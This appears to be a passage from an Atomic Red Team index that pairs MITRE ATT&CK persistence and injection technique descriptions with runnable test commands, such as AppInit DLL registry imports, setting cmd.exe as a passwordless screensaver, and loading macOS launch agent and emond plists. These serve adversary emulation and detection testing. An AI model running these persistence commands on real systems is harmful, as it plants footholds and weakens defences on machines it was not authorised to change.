      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
      created: '2020-03-13T20:21:54.758Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/002
        external_id: T1078.002
      - source_name: TechNet Credential Theft
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      - source_name: Microsoft AD Accounts
        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
          March 13, 2020.
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
      - source_name: Ubuntu SSSD Docs
        description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.
        url: https://ubuntu.com/server/docs/service-sssd
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1037.003:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99
      type: attack-pattern
      created: '2020-01-10T18:01:03.666Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1037.003
        url: https://attack.mitre.org/techniques/T1037/003
      - source_name: Petri Logon Script AD
        url: https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008
        description: Daniel Petri. (2009, January 8). Setting up a Logon Script through
          Active Directory Users and Computers in Windows Server 2008. Retrieved November
          15, 2019.
      modified: '2021-04-29T14:49:39.188Z'
      name: Network Logon Script
      description: "Adversaries may use network logon scripts automatically executed
        at logon initialization to establish persistence. Network logon scripts can
        be assigned using Active Directory or Group Policy Objects.(Citation: Petri
        Logon Script AD) These logon scripts run with the privileges of the user they
        are assigned to. Depending on the systems within the network, initializing
        one of these scripts could apply to more than one or potentially all systems.
        \ \n \nAdversaries may use these scripts to maintain persistence on a network.
        Depending on the access configuration of the logon scripts, either local credentials
        or an administrator account may be necessary."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Modification'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'File: File Creation'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1546.010:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Event Triggered Execution: AppInit DLLs'
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by AppInit DLLs loaded into processes.
        Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code>
        value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows
        NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows
        NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process
        that loads user32.dll. In practice this is nearly every program, since user32.dll
        is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar
        to Process Injection, these values can be abused to obtain elevated privileges
        by causing a malicious DLL to be loaded and run in the context of separate
        processes on the computer. (Citation: AppInit Registry) Malicious AppInit
        DLLs may also provide persistence by continuously being triggered by API activity.
        \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions
        when secure boot is enabled. (Citation: AppInit Secure Boot)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and
        look for DLLs that are not recognized or not normally loaded into a process.
        Monitor the AppInit_DLLs Registry values for modifications that do not correlate
        with known software, patch cycles, etc. Monitor and analyze application programming
        interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code>
        and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July
        2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system
        changes that could be attempts at persistence, including listing current AppInit
        DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior
        that may be due to a process loading a malicious DLL. Data and events should
        not be viewed in isolation, but as part of a chain of behavior that could
        lead to other activities, such as making network connections for Command and
        Control, learning details about the environment through Discovery, and conducting
        Lateral Movement."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: OS API Execution'
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      x_mitre_system_requirements:
      - Secure boot disabled on systems running Windows 8 and later
      type: attack-pattern
      id: attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd
      created: '2020-01-24T14:52:25.589Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/010
        external_id: T1546.010
      - source_name: Elastic Process Injection July 2017
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
      - source_name: AppInit Registry
        description: Microsoft. (2006, October). Working with the AppInit_DLLs registry
          value. Retrieved July 15, 2015.
        url: https://support.microsoft.com/en-us/kb/197571
      - source_name: AppInit Secure Boot
        description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July
          15, 2015.
        url: https://msdn.microsoft.com/en-us/library/dn280412
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.010
    atomic_tests:
    - name: Install AppInit Shim
      auto_generated_guid: a58d9386-3080-4242-ab5f-454c16503d18
      description: "AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs
        to be loaded into each user mode process on the system. Upon succesfully execution,
        \nyou will see the message \"The operation completed successfully.\" Each
        time the DLL is loaded, you will see a message box with a message of \"Install
        AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your
        computer starts up various applications and may in fact drive you crazy. A
        reliable way to make the message box appear and verify the \nAppInit Dlls
        are loading is to start the notepad application. Be sure to run the cleanup
        commands afterwards so you don't keep getting message boxes showing up.\n\nNote:
        If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n"
      supported_platforms:
      - windows
      input_arguments:
        registry_file:
          description: Windows Registry File
          type: path
          default: PathToAtomicsFolder\T1546.010\src\T1546.010.reg
        registry_cleanup_file:
          description: Windows Registry File
          type: path
          default: PathToAtomicsFolder\T1546.010\src\T1546.010-cleanup.reg
      dependency_executor_name: powershell
      dependencies:
      - description: 'Reg files must exist on disk at specified locations (#{registry_file}
          and #{registry_cleanup_file})

          '
        prereq_command: 'if ((Test-Path "#{registry_file}") -and (Test-Path "#{registry_cleanup_file}"))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory (split-path "#{registry_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg" -OutFile "#{registry_file}"
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg" -OutFile "#{registry_cleanup_file}"
      - description: 'DLL''s must exist in the C:\Tools directory (T1546.010.dll and
          T1546.010x86.dll)

          '
        prereq_command: 'if ((Test-Path c:\Tools\T1546.010.dll) -and (Test-Path c:\Tools\T1546.010x86.dll))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory C:\Tools -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll" -OutFile C:\Tools\T1546.010.dll
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll" -OutFile C:\Tools\T1546.010x86.dll
      executor:
        command: 'reg.exe import "#{registry_file}"

          '
        cleanup_command: 'reg.exe import "#{registry_cleanup_file}" >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
  T1546.002:
    technique:
      modified: '2023-07-28T18:17:34.185Z'
      name: 'Event Triggered Execution: Screensaver'
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.

        The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:

        * <code>SCRNSAVE.exe</code> - set to malicious PE path
        * <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
        * <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
        * <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed

        Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Bartosz Jerzman
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.

        Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf
      created: '2020-01-24T13:51:01.210Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/002
        external_id: T1546.002
      - source_name: ESET Gazer Aug 2017
        description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage
          backdoor. Retrieved September 14, 2017.'
        url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
      - source_name: Wikipedia Screensaver
        description: Wikipedia. (2017, November 22). Screensaver. Retrieved December
          5, 2017.
        url: https://en.wikipedia.org/wiki/Screensaver
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.002
    atomic_tests:
    - name: Set Arbitrary Binary as Screensaver
      auto_generated_guid: 281201e7-de41-4dc9-b73d-f288938cbb64
      description: 'This test copies a binary into the Windows System32 folder and
        sets it as the screensaver so it will execute for persistence. Requires a
        reboot and logon.

        '
      supported_platforms:
      - windows
      input_arguments:
        input_binary:
          description: Executable binary to use in place of screensaver for persistence
          type: path
          default: C:\Windows\System32\cmd.exe
        reboot:
          description: Set to non-zero value if you want the test to reboot the system
            so that changes take effect
          type: integer
          default: 0
      executor:
        command: |
          reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg
          copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
          if #{reboot} NEQ 0 shutdown /r /t 0
        cleanup_command: |
          reg import %userprofile%\backup.reg
          del %userprofile%\backup.reg
          del %SystemRoot%\System32\evilscreensaver.scr
        name: command_prompt
        elevation_required: true
  T1543.001:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Antonio Piazza, @antman1p
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584
      created: '2020-01-17T16:10:58.592Z'
      x_mitre_version: '1.4'
      external_references:
      - source_name: mitre-attack
        external_id: T1543.001
        url: https://attack.mitre.org/techniques/T1543/001
      - source_name: AppleDocs Launch Agent Daemons
        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
      - source_name: Sofacy Komplex Trojan
        url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
      - source_name: OceanLotus for OS X
        url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
      - source_name: OSX Keydnap malware
        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
      - source_name: Methods of Mac Malware Persistence
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
      - source_name: OSX Malware Detection
        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
      - source_name: Antiquated Mac Malware
        url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
          code. Retrieved July 5, 2017.
      - source_name: OSX.Dok Malware
        url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
          traffic. Retrieved July 10, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may create or modify launch agents to repeatedly execute
        malicious payloads as part of persistence. When a user logs in, a per-user
        launchd process is started which loads the parameters for each launch-on-demand
        user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>,
        <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation:
        AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation:
        Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments
        </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name,
        executable location, and execution time.(Citation: OSX.Dok Malware) Launch
        Agents are often installed to perform updates to programs, launch user specified
        programs at login, or to conduct other developer tasks.\n\n Launch Agents
        can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001)
        command.\n \nAdversaries may install a new Launch Agent that executes at login
        by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code>
        or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy
        Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent
        name may be disguised by using a name from the related operating system or
        benign software. Launch Agents are created with user level privileges and
        execute with user level permissions.(Citation: OSX Malware Detection)(Citation:
        OceanLotus for OS X) "
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Create or Modify System Process: Launch Agent'
      x_mitre_detection: "Monitor Launch Agent creation through additional plist files
        and utilities such as Objective-See’s  KnockKnock application. Launch Agents
        also require files on disk for persistence which can also be monitored via
        other file monitoring applications.\n\nEnsure Launch Agent's <code> ProgramArguments
        </code> key pointing to executables located in the <code>/tmp</code> or <code>/shared</code>
        folders are in alignment with enterprise policy. Ensure all Launch Agents
        with the <code>RunAtLoad</code> key set to <code>true</code> are in alignment
        with policy. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Service: Service Modification'
      - 'File: File Creation'
      - 'Service: Service Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1543.001
    atomic_tests:
    - name: Launch Agent
      auto_generated_guid: a5983dee-bf6c-4eaf-951c-dbc1a7b90900
      description: 'Create a plist and execute it

        '
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: string
          default: com.atomicredteam.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The shared library doesn''t exist. Check the path";
          exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;
          sudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename}
          sudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename}
        cleanup_command: |
          sudo launchctl unload ~/Library/LaunchAgents/#{plist_filename}
          sudo rm ~/Library/LaunchAgents/#{plist_filename}
    - name: Event Monitor Daemon Persistence
      auto_generated_guid: 11979f23-9b9d-482a-9935-6fc9cd022c3e
      description: "This test adds persistence via a plist to execute via the macOS
        Event Monitor Daemon. \n"
      supported_platforms:
      - macos
      input_arguments:
        script_location:
          description: evil plist location
          type: path
          default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist"
        script_destination:
          description: Path where to move the evil plist
          type: path
          default: "/etc/emond.d/rules/atomicredteam_T1543_001.plist"
        empty_file:
          description: Random name of the empty file used to trigger emond service
          type: string
          default: randomflag
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{script_location} #{script_destination}
          sudo touch /private/var/db/emondClients/#{empty_file}
        cleanup_command: |-
          sudo rm #{script_destination}
          sudo rm /private/var/db/emondClients/#{empty_file}
    - name: Launch Agent - Root Directory
      auto_generated_guid: 66774fa8-c562-4bae-a58d-5264a0dd9dd7
      description: 'Create a plist and execute it

        '
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: string
          default: com.atomicredteam.T1543.001.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist"
      dependency_executor_name: bash
      dependencies:
      - description: "/Library/LaunchAgents must exist\n"
        prereq_command: 'if [ ! -d /Library/LaunchAgents ]; then mkdir /Library/LaunchAgents;
          exit 0; fi;

          '
        get_prereq_command: 'echo "Failed to create /Library/LaunchAgents"; exit 1;

          '
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename}
          launchctl load -w /Library/LaunchAgents/#{plist_filename}
        cleanup_command: |
          launchctl unload /Library/LaunchAgents/#{plist_filename}
          sudo rm /Library/LaunchAgents/#{plist_filename}
          sudo rm /tmp/T1543_001_atomicredteam.txt
  T1055.009:
    technique:
      x_mitre_platforms:
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591
      type: attack-pattern
      created: '2020-01-14T01:34:10.588Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.009
        url: https://attack.mitre.org/techniques/T1055/009
      - url: http://hick.org/code/skape/papers/needle.txt
        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
          Retrieved December 20, 2017.
        source_name: Uninformed Needle
      - source_name: GDS Linux Injection
        url: https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html
        description: McNamara, R. (2017, September 5). Linux Based Inter-Process Code
          Injection Without Ptrace(2). Retrieved February 21, 2020.
      - source_name: DD Man
        url: http://man7.org/linux/man-pages/man1/dd.1.html
        description: Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved
          February 21, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: Proc Memory
      description: "Adversaries may inject malicious code into processes via the /proc
        filesystem in order to evade process-based defenses as well as possibly elevate
        privileges. Proc memory injection is a method of executing arbitrary code
        in the address space of a separate live process. \n\nProc memory injection
        involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>)
        then crafting a return-oriented programming (ROP) payload with available gadgets/instructions.
        Each running process has its own directory, which includes memory mappings.
        Proc memory injection is commonly performed by overwriting the target processes’
        stack using memory mappings provided by the /proc filesystem. This information
        can be used to enumerate offsets (including the stack) and gadgets (or instructions
        within the program that can be used to build a malicious payload) otherwise
        hidden by process memory protections such as address space layout randomization
        (ASLR). Once enumerated, the target processes’ memory map within <code>/proc/[pid]/maps</code>
        can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux
        Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker
        Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate
        a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),
        proc memory injection may target child processes (such as a backgrounded copy
        of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context
        of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via proc memory injection
        may also evade detection from security products since the execution is masked
        under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "File system monitoring can determine if /proc files are
        being modified. Users should not have permission to modify these in most cases.
        \n\nAnalyze process behavior to determine if a process is performing actions
        it usually does not, such as opening network connections, reading files, or
        other suspicious actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1546.016:
    technique:
      modified: '2024-04-12T02:23:44.583Z'
      name: Installer Packages
      description: |-
        Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)

        Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)

        Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.

        For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Brandon Dalton @PartyD0lphin
      - Alexander Rodchenko
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      x_mitre_effective_permissions:
      - root
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56
      created: '2022-09-27T18:02:16.026Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/016
        external_id: T1546.016
      - source_name: Application Bundle Manipulation Brandon Dalton
        description: 'Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking
          macOS security controls to thwart application bundle manipulation. Retrieved
          September 27, 2022.'
        url: https://redcanary.com/blog/mac-application-bundles/
      - source_name: Debian Manual Maintainer Scripts
        description: Debian Policy Manual v4.6.1.1. (2022, August 14). Package maintainer
          scripts and installation procedure. Retrieved September 27, 2022.
        url: https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-mscriptsinstact
      - source_name: Windows AppleJeus GReAT
        description: 'Global Research & Analysis Team, Kaspersky Lab (GReAT). (2018,
          August 23). Operation AppleJeus: Lazarus hits cryptocurrency exchange with
          fake installer and macOS malware. Retrieved September 27, 2022.'
        url: https://securelist.com/operation-applejeus/87553/
      - source_name: Microsoft Installation Procedures
        description: Microsoft. (2021, January 7). Installation Procedure Tables Group.
          Retrieved December 27, 2023.
        url: https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group
      - source_name: wardle evilquest parti
        description: 'Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part
          i: infection, persistence, and more!. Retrieved March 18, 2021.'
        url: https://objective-see.com/blog/blog_0x59.html
      - source_name: Installer Package Scripting Rich Trouton
        description: 'Rich Trouton. (2019, August 9). Installer Package Scripting:
          Making your deployments easier, one ! at a time. Retrieved September 27,
          2022.'
        url: https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf
      object_marking_refs:
